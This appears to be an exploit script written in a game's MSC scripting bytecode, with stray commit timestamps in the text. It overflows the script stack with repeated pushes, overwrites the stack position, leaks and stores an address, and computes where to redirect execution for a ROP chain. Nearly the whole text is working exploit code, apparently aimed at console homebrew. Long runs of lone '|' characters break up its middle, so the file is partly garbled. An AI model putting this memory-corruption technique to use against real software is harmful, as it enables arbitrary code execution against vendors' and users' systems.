2017-07-31 22:35:28 +02:00
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#Variable names
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.alias 0,leakedAddress
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.alias 1,mscStackAddress
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.alias 2,calculatedStackPosition
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.alias 3,mscScriptAddress
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#Variables types
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.alias 0,localVar
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.alias 1,globalVar
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#Position on the stack to write the ROP chain
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.alias 0x1125877C,writePosition
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#With diibugger (shifted stack) (Don't use this)
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#.alias 0x1124D944,writePosition
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#Use this to crash game on read/write
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#.alias 0x0,writePosition
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begin 0,0
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#Get to end of stack for overflow
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#Get to top of stack
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pushShort. 0x1
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pushShort. 0x2
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pushShort. 0x3
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pushShort. 0x4
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pushShort. 0x5
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pushShort. 0x6
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pushShort. 0x7
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pushShort. 0x8
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pushShort. 0x9
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pushShort. 0xa
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pushShort. 0xb
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pushShort. 0xc
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pushShort. 0xd
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pushShort. 0xe
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pushShort. 0xf
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pushShort. 0x10
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pushShort. 0x11
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pushShort. 0x12
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pushShort. 0x13
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pushShort. 0x14
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pushShort. 0x15
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pushShort. 0x16
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pushShort. 0x17
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pushShort. 0x18
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pushShort. 0x19
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pushShort. 0x1a
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pushShort. 0x1b
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pushShort. 0x1c
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pushShort. 0x1d
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pushShort. 0x1e
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pushShort. 0x1f
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pushShort. 0x20
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pushShort. 0x21
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pushShort. 0x22
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pushShort. 0x23
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pushShort. 0x24
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pushShort. 0x25
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pushShort. 0x26
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pushShort. 0x27
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pushShort. 0x28
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pushShort. 0x29
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pushShort. 0x2a
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pushShort. 0x2b
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pushShort. 0x2c
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pushShort. 0x2d
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pushShort. 0x2e
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pushShort. 0x2f
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pushShort. 0x30
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pushShort. 0x31
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pushShort. 0x32
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pushShort. 0x33
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pushShort. 0x34
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pushShort. 0x35
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pushShort. 0x36
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pushShort. 0x37
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pushShort. 0x38
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pushShort. 0x39
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pushShort. 0x3a
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pushShort. 0x3b
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pushShort. 0x3c
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pushShort. 0x3d
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pushShort. 0x3e
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pushShort. 0x3f
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pushShort. 0x40
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pushShort. 0x41
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pushShort. 0x42
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pushShort. 0x43
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pushShort. 0x44
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pushShort. 0x45
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pushShort. 0x46
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pushShort. 0x47
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pushShort. 0x48
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pushShort. 0x49
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pushShort. 0x4a
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pushShort. 0x4b
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pushShort. 0x4c
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pushShort. 0x4d
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pushShort. 0x4e
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pushShort. 0x4f
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pushShort. 0x50
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pushShort. 0x51
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pushShort. 0x52
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pushShort. 0x53
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pushShort. 0x54
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pushShort. 0x55
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pushShort. 0x56
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pushShort. 0x57
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pushShort. 0x58
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pushShort. 0x59
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pushShort. 0x5a
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pushShort. 0x5b
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pushShort. 0x5c
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pushShort. 0x5d
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pushShort. 0x5e
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pushShort. 0x5f
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pushShort. 0x60
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pushShort. 0x61
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pushShort. 0x62
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pushShort. 0x63
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pushShort. 0x64
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pushShort. 0x65
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pushShort. 0x66
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pushShort. 0x67
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pushShort. 0x68
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pushShort. 0x69
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pushShort. 0x6a
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pushShort. 0x6b
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pushShort. 0x6c
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pushShort. 0x6d
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pushShort. 0x6e
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pushShort. 0x6f
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pushShort. 0x70
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pushShort. 0x71
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pushShort. 0x72
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pushShort. 0x73
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pushShort. 0x74
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pushShort. 0x75
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pushShort. 0x76
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pushShort. 0x77
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pushShort. 0x78
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pushShort. 0x79
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pushShort. 0x7a
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pushShort. 0x7b
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pushShort. 0x7c
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pushShort. 0x7d
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pushShort. 0x7e
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pushShort. 0x7f
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pushShort. 0x80
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#Overwrite MSC stack position
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pushShort. 0xAE
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#Store leaked address in GlobalVar0 to save for later
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setVar globalVar,leakedAddress
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#a few pops to get us back to reset our stack
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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pop
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#Now that we are back at the beginning of the stack we can do our maths to calculate the position the stack needs to jump to the write area
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pushVar. globalVar,leakedAddress
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pushShort. 0x2B4
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subi.
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setVar globalVar,mscStackAddress
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pushInt. writePosition
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pushVar. globalVar,mscStackAddress
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subi.
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pushShort. 4
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divi.
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setVar globalVar,calculatedStackPosition
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#Get to end of stack for overflow (again)
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pushShort. 0x1
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pushShort. 0x2
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pushShort. 0x3
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pushShort. 0x4
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pushShort. 0x5
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pushShort. 0x6
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pushShort. 0x7
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pushShort. 0x8
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pushShort. 0x9
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pushShort. 0xa
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pushShort. 0xb
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pushShort. 0xc
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pushShort. 0xd
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pushShort. 0xe
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pushShort. 0xf
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pushShort. 0x10
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pushShort. 0x11
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pushShort. 0x12
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pushShort. 0x13
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pushShort. 0x14
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pushShort. 0x15
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pushShort. 0x16
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pushShort. 0x17
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pushShort. 0x18
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pushShort. 0x19
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pushShort. 0x1a
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pushShort. 0x1b
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pushShort. 0x1c
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pushShort. 0x1d
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pushShort. 0x1e
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pushShort. 0x1f
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pushShort. 0x20
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pushShort. 0x21
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pushShort. 0x22
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pushShort. 0x23
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pushShort. 0x24
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pushShort. 0x25
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pushShort. 0x26
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pushShort. 0x27
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pushShort. 0x28
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pushShort. 0x29
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pushShort. 0x2a
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pushShort. 0x2b
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pushShort. 0x2c
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pushShort. 0x2d
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pushShort. 0x2e
|
|
|
|
|
pushShort. 0x2f
|
|
|
|
|
pushShort. 0x30
|
|
|
|
|
pushShort. 0x31
|
|
|
|
|
pushShort. 0x32
|
|
|
|
|
pushShort. 0x33
|
|
|
|
|
pushShort. 0x34
|
|
|
|
|
pushShort. 0x35
|
|
|
|
|
pushShort. 0x36
|
|
|
|
|
pushShort. 0x37
|
|
|
|
|
pushShort. 0x38
|
|
|
|
|
pushShort. 0x39
|
|
|
|
|
pushShort. 0x3a
|
|
|
|
|
pushShort. 0x3b
|
|
|
|
|
pushShort. 0x3c
|
|
|
|
|
pushShort. 0x3d
|
|
|
|
|
pushShort. 0x3e
|
|
|
|
|
pushShort. 0x3f
|
|
|
|
|
pushShort. 0x40
|
|
|
|
|
pushShort. 0x41
|
|
|
|
|
pushShort. 0x42
|
|
|
|
|
pushShort. 0x43
|
|
|
|
|
pushShort. 0x44
|
|
|
|
|
pushShort. 0x45
|
|
|
|
|
pushShort. 0x46
|
|
|
|
|
pushShort. 0x47
|
|
|
|
|
pushShort. 0x48
|
|
|
|
|
pushShort. 0x49
|
|
|
|
|
pushShort. 0x4a
|
|
|
|
|
pushShort. 0x4b
|
|
|
|
|
pushShort. 0x4c
|
|
|
|
|
pushShort. 0x4d
|
|
|
|
|
pushShort. 0x4e
|
|
|
|
|
pushShort. 0x4f
|
|
|
|
|
pushShort. 0x50
|
|
|
|
|
pushShort. 0x51
|
|
|
|
|
pushShort. 0x52
|
|
|
|
|
pushShort. 0x53
|
|
|
|
|
pushShort. 0x54
|
|
|
|
|
pushShort. 0x55
|
|
|
|
|
pushShort. 0x56
|
|
|
|
|
pushShort. 0x57
|
|
|
|
|
pushShort. 0x58
|
|
|
|
|
pushShort. 0x59
|
|
|
|
|
pushShort. 0x5a
|
|
|
|
|
pushShort. 0x5b
|
|
|
|
|
pushShort. 0x5c
|
|
|
|
|
pushShort. 0x5d
|
|
|
|
|
pushShort. 0x5e
|
|
|
|
|
pushShort. 0x5f
|
|
|
|
|
pushShort. 0x60
|
|
|
|
|
pushShort. 0x61
|
|
|
|
|
pushShort. 0x62
|
|
|
|
|
pushShort. 0x63
|
|
|
|
|
pushShort. 0x64
|
|
|
|
|
pushShort. 0x65
|
|
|
|
|
pushShort. 0x66
|
|
|
|
|
pushShort. 0x67
|
|
|
|
|
pushShort. 0x68
|
|
|
|
|
pushShort. 0x69
|
|
|
|
|
pushShort. 0x6a
|
|
|
|
|
pushShort. 0x6b
|
|
|
|
|
pushShort. 0x6c
|
|
|
|
|
pushShort. 0x6d
|
|
|
|
|
pushShort. 0x6e
|
|
|
|
|
pushShort. 0x6f
|
|
|
|
|
pushShort. 0x70
|
|
|
|
|
pushShort. 0x71
|
|
|
|
|
pushShort. 0x72
|
|
|
|
|
pushShort. 0x73
|
|
|
|
|
pushShort. 0x74
|
|
|
|
|
pushShort. 0x75
|
|
|
|
|
pushShort. 0x76
|
|
|
|
|
pushShort. 0x77
|
|
|
|
|
pushShort. 0x78
|
|
|
|
|
pushShort. 0x79
|
|
|
|
|
pushShort. 0x7a
|
|
|
|
|
pushShort. 0x7b
|
|
|
|
|
pushShort. 0x7c
|
|
|
|
|
pushShort. 0x7d
|
|
|
|
|
pushShort. 0x7e
|
|
|
|
|
pushShort. 0x7f
|
|
|
|
|
pushShort. 0x80
|
|
|
|
|
|
|
|
|
|
#get the base address of the MSC file
|
|
|
|
|
pushInt. -0x8A
|
|
|
|
|
setVar globalVar,mscScriptAddress
|
|
|
|
|
pushVar. globalVar,mscScriptAddress
|
|
|
|
|
|
|
|
|
|
#Get back to the stack safely by pushing real global vars and out of bound global vars
|
|
|
|
|
pushVar. globalVar,0x0
|
|
|
|
|
pushVar. globalVar,0x1
|
|
|
|
|
pushVar. globalVar,0x2
|
|
|
|
|
pushVar. globalVar,0x3
|
|
|
|
|
pushVar. globalVar,0x4
|
|
|
|
|
pushVar. globalVar,0x5
|
|
|
|
|
pushVar. globalVar,0x6
|
|
|
|
|
pushVar. globalVar,0x7
|
|
|
|
|
pushVar. globalVar,0x8
|
|
|
|
|
pushVar. globalVar,0x9
|
|
|
|
|
pushVar. globalVar,0xA
|
|
|
|
|
pushVar. globalVar,0xB
|
|
|
|
|
pushVar. globalVar,0xC
|
|
|
|
|
pushVar. globalVar,0xD
|
|
|
|
|
pushVar. globalVar,0xE
|
|
|
|
|
pushVar. globalVar,0xF
|
|
|
|
|
pushVar. globalVar,0x10
|
|
|
|
|
pushVar. globalVar,0x11
|
|
|
|
|
pushVar. globalVar,0x12
|
|
|
|
|
pushVar. globalVar,0x13
|
|
|
|
|
pushVar. globalVar,0x14
|
|
|
|
|
pushVar. globalVar,0x15
|
|
|
|
|
pushVar. globalVar,0x16
|
|
|
|
|
pushVar. globalVar,0x17
|
|
|
|
|
pushVar. globalVar,0x18
|
|
|
|
|
pushVar. globalVar,0x19
|
|
|
|
|
pushVar. globalVar,0x1A
|
|
|
|
|
pushVar. globalVar,0x1B
|
|
|
|
|
pushVar. globalVar,0x1C
|
|
|
|
|
pushVar. globalVar,0x1D
|
|
|
|
|
pushVar. globalVar,0x1E
|
|
|
|
|
pushVar. globalVar,0x1F
|
|
|
|
|
pushVar. globalVar,0x20
|
|
|
|
|
pushVar. globalVar,0x21
|
|
|
|
|
pushVar. globalVar,0x22
|
|
|
|
|
pushVar. globalVar,0x23
|
|
|
|
|
pushVar. globalVar,0x24
|
|
|
|
|
pushVar. globalVar,0x25
|
|
|
|
|
pushVar. globalVar,0x26
|
|
|
|
|
pushVar. globalVar,0x27
|
|
|
|
|
pushVar. globalVar,0x28
|
|
|
|
|
pushVar. globalVar,0x29
|
|
|
|
|
pushVar. globalVar,0x2A
|
|
|
|
|
pushVar. globalVar,0x2B
|
|
|
|
|
pushVar. globalVar,0x2C
|
|
|
|
|
pushVar. globalVar,0x2D
|
|
|
|
|
pushVar. globalVar,0x2E
|
|
|
|
|
pushVar. globalVar,0x2F
|
|
|
|
|
pushVar. globalVar,0x30
|
|
|
|
|
pushVar. globalVar,0x31
|
|
|
|
|
pushVar. globalVar,0x32
|
|
|
|
|
pushVar. globalVar,0x33
|
|
|
|
|
pushVar. globalVar,0x34
|
|
|
|
|
pushVar. globalVar,0x35
|
|
|
|
|
pushVar. globalVar,0x36
|
|
|
|
|
pushVar. globalVar,0x37
|
|
|
|
|
pushVar. globalVar,0x38
|
|
|
|
|
pushVar. globalVar,0x39
|
|
|
|
|
pushVar. globalVar,0x3A
|
|
|
|
|
pushVar. globalVar,0x3B
|
|
|
|
|
pushVar. globalVar,0x3C
|
|
|
|
|
pushVar. globalVar,0x3D
|
|
|
|
|
pushVar. globalVar,0x3E
|
|
|
|
|
pushVar. globalVar,0x3F
|
|
|
|
|
pushVar. globalVar,0x40
|
|
|
|
|
pushVar. globalVar,0x41
|
|
|
|
|
pushVar. globalVar,0x42
|
|
|
|
|
pushVar. globalVar,0x43
|
|
|
|
|
pushVar. globalVar,0x44
|
|
|
|
|
pushVar. globalVar,0x45
|
|
|
|
|
pushVar. globalVar,0x46
|
|
|
|
|
pushVar. globalVar,0x47
|
|
|
|
|
pushVar. globalVar,0x48
|
|
|
|
|
pushVar. globalVar,0x49
|
|
|
|
|
pushVar. globalVar,0x4A
|
|
|
|
|
pushVar. globalVar,0x4B
|
|
|
|
|
pushVar. globalVar,0x4C
|
|
|
|
|
pushVar. globalVar,0x4D
|
|
|
|
|
pushVar. globalVar,0x4E
|
|
|
|
|
pushVar. globalVar,0x4F
|
|
|
|
|
pushVar. globalVar,0x50
|
|
|
|
|
pushVar. globalVar,0x51
|
|
|
|
|
pushVar. globalVar,0x52
|
|
|
|
|
pushVar. globalVar,0x53
|
|
|
|
|
pushVar. globalVar,0x54
|
|
|
|
|
pushVar. globalVar,0x55
|
|
|
|
|
pushVar. globalVar,0x56
|
|
|
|
|
pushVar. globalVar,0x57
|
|
|
|
|
pushVar. globalVar,0x58
|
|
|
|
|
pushVar. globalVar,0x59
|
|
|
|
|
pushVar. globalVar,0x5A
|
|
|
|
|
pushVar. globalVar,0x5B
|
|
|
|
|
pushVar. globalVar,0x5C
|
|
|
|
|
pushVar. globalVar,0x5D
|
|
|
|
|
pushVar. globalVar,0x5E
|
|
|
|
|
pushVar. globalVar,0x5F
|
|
|
|
|
pushVar. globalVar,0x60
|
|
|
|
|
pushVar. globalVar,0x61
|
|
|
|
|
pushVar. globalVar,0x62
|
|
|
|
|
pushVar. globalVar,0x63
|
|
|
|
|
pushVar. globalVar,0x64
|
|
|
|
|
pushVar. globalVar,0x65
|
|
|
|
|
pushVar. globalVar,0x66
|
|
|
|
|
pushVar. globalVar,0x67
|
|
|
|
|
pushVar. globalVar,0x68
|
|
|
|
|
pushVar. globalVar,0x69
|
|
|
|
|
pushVar. globalVar,0x6A
|
|
|
|
|
pushVar. globalVar,0x6B
|
|
|
|
|
pushVar. globalVar,0x6C
|
|
|
|
|
pushVar. globalVar,0x6D
|
|
|
|
|
pushVar. globalVar,0x6E
|
|
|
|
|
pushVar. globalVar,0x6F
|
|
|
|
|
pushVar. globalVar,0x70
|
|
|
|
|
pushVar. globalVar,0x71
|
|
|
|
|
pushVar. globalVar,0x72
|
|
|
|
|
pushVar. globalVar,0x73
|
|
|
|
|
pushVar. globalVar,0x74
|
|
|
|
|
pushVar. globalVar,0x75
|
|
|
|
|
pushVar. globalVar,0x76
|
|
|
|
|
pushVar. globalVar,0x77
|
|
|
|
|
pushVar. globalVar,0x78
|
|
|
|
|
pushVar. globalVar,0x79
|
|
|
|
|
pushVar. globalVar,0x7A
|
|
|
|
|
pushVar. globalVar,0x7B
|
|
|
|
|
pushVar. globalVar,0x7C
|
|
|
|
|
pushVar. globalVar,0x7D
|
|
|
|
|
pushVar. globalVar,0x7E
|
|
|
|
|
pushVar. globalVar,0x7F
|
|
|
|
|
pushVar. globalVar,0x80
|
|
|
|
|
pushVar. globalVar,0x81
|
|
|
|
|
pushVar. globalVar,0x82
|
|
|
|
|
pushVar. globalVar,0x83
|
|
|
|
|
pushVar. globalVar,0x84
|
|
|
|
|
pushVar. globalVar,0x85
|
|
|
|
|
pushVar. globalVar,0x86
|
|
|
|
|
pushVar. globalVar,0x87
|
|
|
|
|
pushVar. globalVar,0x88
|
|
|
|
|
pushVar. globalVar,0x89
|
|
|
|
|
|
|
|
|
|
#Calculate absolute offset of the ROP chain (script offset + 0x30 + file offset)
|
|
|
|
|
pushShort. 0x30
|
|
|
|
|
#script_1 is the offset of the second "script", which contains our string to print out
|
|
|
|
|
pushInt. script_1
|
|
|
|
|
addi.
|
|
|
|
|
i+= globalVar,mscScriptAddress
|
|
|
|
|
|
|
|
|
|
#Get back to end of stack for overflow for the millionth time
|
|
|
|
|
pushShort. 0x1
|
|
|
|
|
pushShort. 0x2
|
|
|
|
|
pushShort. 0x3
|
|
|
|
|
pushShort. 0x4
|
|
|
|
|
pushShort. 0x5
|
|
|
|
|
pushShort. 0x6
|
|
|
|
|
pushShort. 0x7
|
|
|
|
|
pushShort. 0x8
|
|
|
|
|
pushShort. 0x9
|
|
|
|
|
pushShort. 0xa
|
|
|
|
|
pushShort. 0xb
|
|
|
|
|
pushShort. 0xc
|
|
|
|
|
pushShort. 0xd
|
|
|
|
|
pushShort. 0xe
|
|
|
|
|
pushShort. 0xf
|
|
|
|
|
pushShort. 0x10
|
|
|
|
|
pushShort. 0x11
|
|
|
|
|
pushShort. 0x12
|
|
|
|
|
pushShort. 0x13
|
|
|
|
|
pushShort. 0x14
|
|
|
|
|
pushShort. 0x15
|
|
|
|
|
pushShort. 0x16
|
|
|
|
|
pushShort. 0x17
|
|
|
|
|
pushShort. 0x18
|
|
|
|
|
pushShort. 0x19
|
|
|
|
|
pushShort. 0x1a
|
|
|
|
|
pushShort. 0x1b
|
|
|
|
|
pushShort. 0x1c
|
|
|
|
|
pushShort. 0x1d
|
|
|
|
|
pushShort. 0x1e
|
|
|
|
|
pushShort. 0x1f
|
|
|
|
|
pushShort. 0x20
|
|
|
|
|
pushShort. 0x21
|
|
|
|
|
pushShort. 0x22
|
|
|
|
|
pushShort. 0x23
|
|
|
|
|
pushShort. 0x24
|
|
|
|
|
pushShort. 0x25
|
|
|
|
|
pushShort. 0x26
|
|
|
|
|
pushShort. 0x27
|
|
|
|
|
pushShort. 0x28
|
|
|
|
|
pushShort. 0x29
|
|
|
|
|
pushShort. 0x2a
|
|
|
|
|
pushShort. 0x2b
|
|
|
|
|
pushShort. 0x2c
|
|
|
|
|
pushShort. 0x2d
|
|
|
|
|
pushShort. 0x2e
|
|
|
|
|
pushShort. 0x2f
|
|
|
|
|
pushShort. 0x30
|
|
|
|
|
pushShort. 0x31
|
|
|
|
|
pushShort. 0x32
|
|
|
|
|
pushShort. 0x33
|
|
|
|
|
pushShort. 0x34
|
|
|
|
|
pushShort. 0x35
|
|
|
|
|
pushShort. 0x36
|
|
|
|
|
pushShort. 0x37
|
|
|
|
|
pushShort. 0x38
|
|
|
|
|
pushShort. 0x39
|
|
|
|
|
pushShort. 0x3a
|
|
|
|
|
pushShort. 0x3b
|
|
|
|
|
pushShort. 0x3c
|
|
|
|
|
pushShort. 0x3d
|
|
|
|
|
pushShort. 0x3e
|
|
|
|
|
pushShort. 0x3f
|
|
|
|
|
pushShort. 0x40
|
|
|
|
|
pushShort. 0x41
|
|
|
|
|
pushShort. 0x42
|
|
|
|
|
pushShort. 0x43
|
|
|
|
|
pushShort. 0x44
|
|
|
|
|
pushShort. 0x45
|
|
|
|
|
pushShort. 0x46
|
|
|
|
|
pushShort. 0x47
|
|
|
|
|
pushShort. 0x48
|
|
|
|
|
pushShort. 0x49
|
|
|
|
|
pushShort. 0x4a
|
|
|
|
|
pushShort. 0x4b
|
|
|
|
|
pushShort. 0x4c
|
|
|
|
|
pushShort. 0x4d
|
|
|
|
|
pushShort. 0x4e
|
|
|
|
|
pushShort. 0x4f
|
|
|
|
|
pushShort. 0x50
|
|
|
|
|
pushShort. 0x51
|
|
|
|
|
pushShort. 0x52
|
|
|
|
|
pushShort. 0x53
|
|
|
|
|
pushShort. 0x54
|
|
|
|
|
pushShort. 0x55
|
|
|
|
|
pushShort. 0x56
|
|
|
|
|
pushShort. 0x57
|
|
|
|
|
pushShort. 0x58
|
|
|
|
|
pushShort. 0x59
|
|
|
|
|
pushShort. 0x5a
|
|
|
|
|
pushShort. 0x5b
|
|
|
|
|
pushShort. 0x5c
|
|
|
|
|
pushShort. 0x5d
|
|
|
|
|
pushShort. 0x5e
|
|
|
|
|
pushShort. 0x5f
|
|
|
|
|
pushShort. 0x60
|
|
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pushShort. 0x61
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pushShort. 0x62
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pushShort. 0x63
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pushShort. 0x64
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pushShort. 0x65
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pushShort. 0x66
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pushShort. 0x67
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pushShort. 0x68
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pushShort. 0x69
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pushShort. 0x6a
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pushShort. 0x6b
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pushShort. 0x6c
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pushShort. 0x6d
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pushShort. 0x6e
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pushShort. 0x6f
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pushShort. 0x70
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pushShort. 0x71
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pushShort. 0x72
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pushShort. 0x73
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pushShort. 0x74
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pushShort. 0x75
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pushShort. 0x76
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pushShort. 0x77
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pushShort. 0x78
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pushShort. 0x79
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pushShort. 0x7a
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pushShort. 0x7b
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pushShort. 0x7c
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pushShort. 0x7d
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pushShort. 0x7e
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pushShort. 0x7f
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pushShort. 0x80
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#Now we can overwrite the stack position with the one we calculated earlier to jump to the write position
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pushVar. globalVar,calculatedStackPosition
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2019-01-18 22:06:49 +01:00
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#Write ROP Chain
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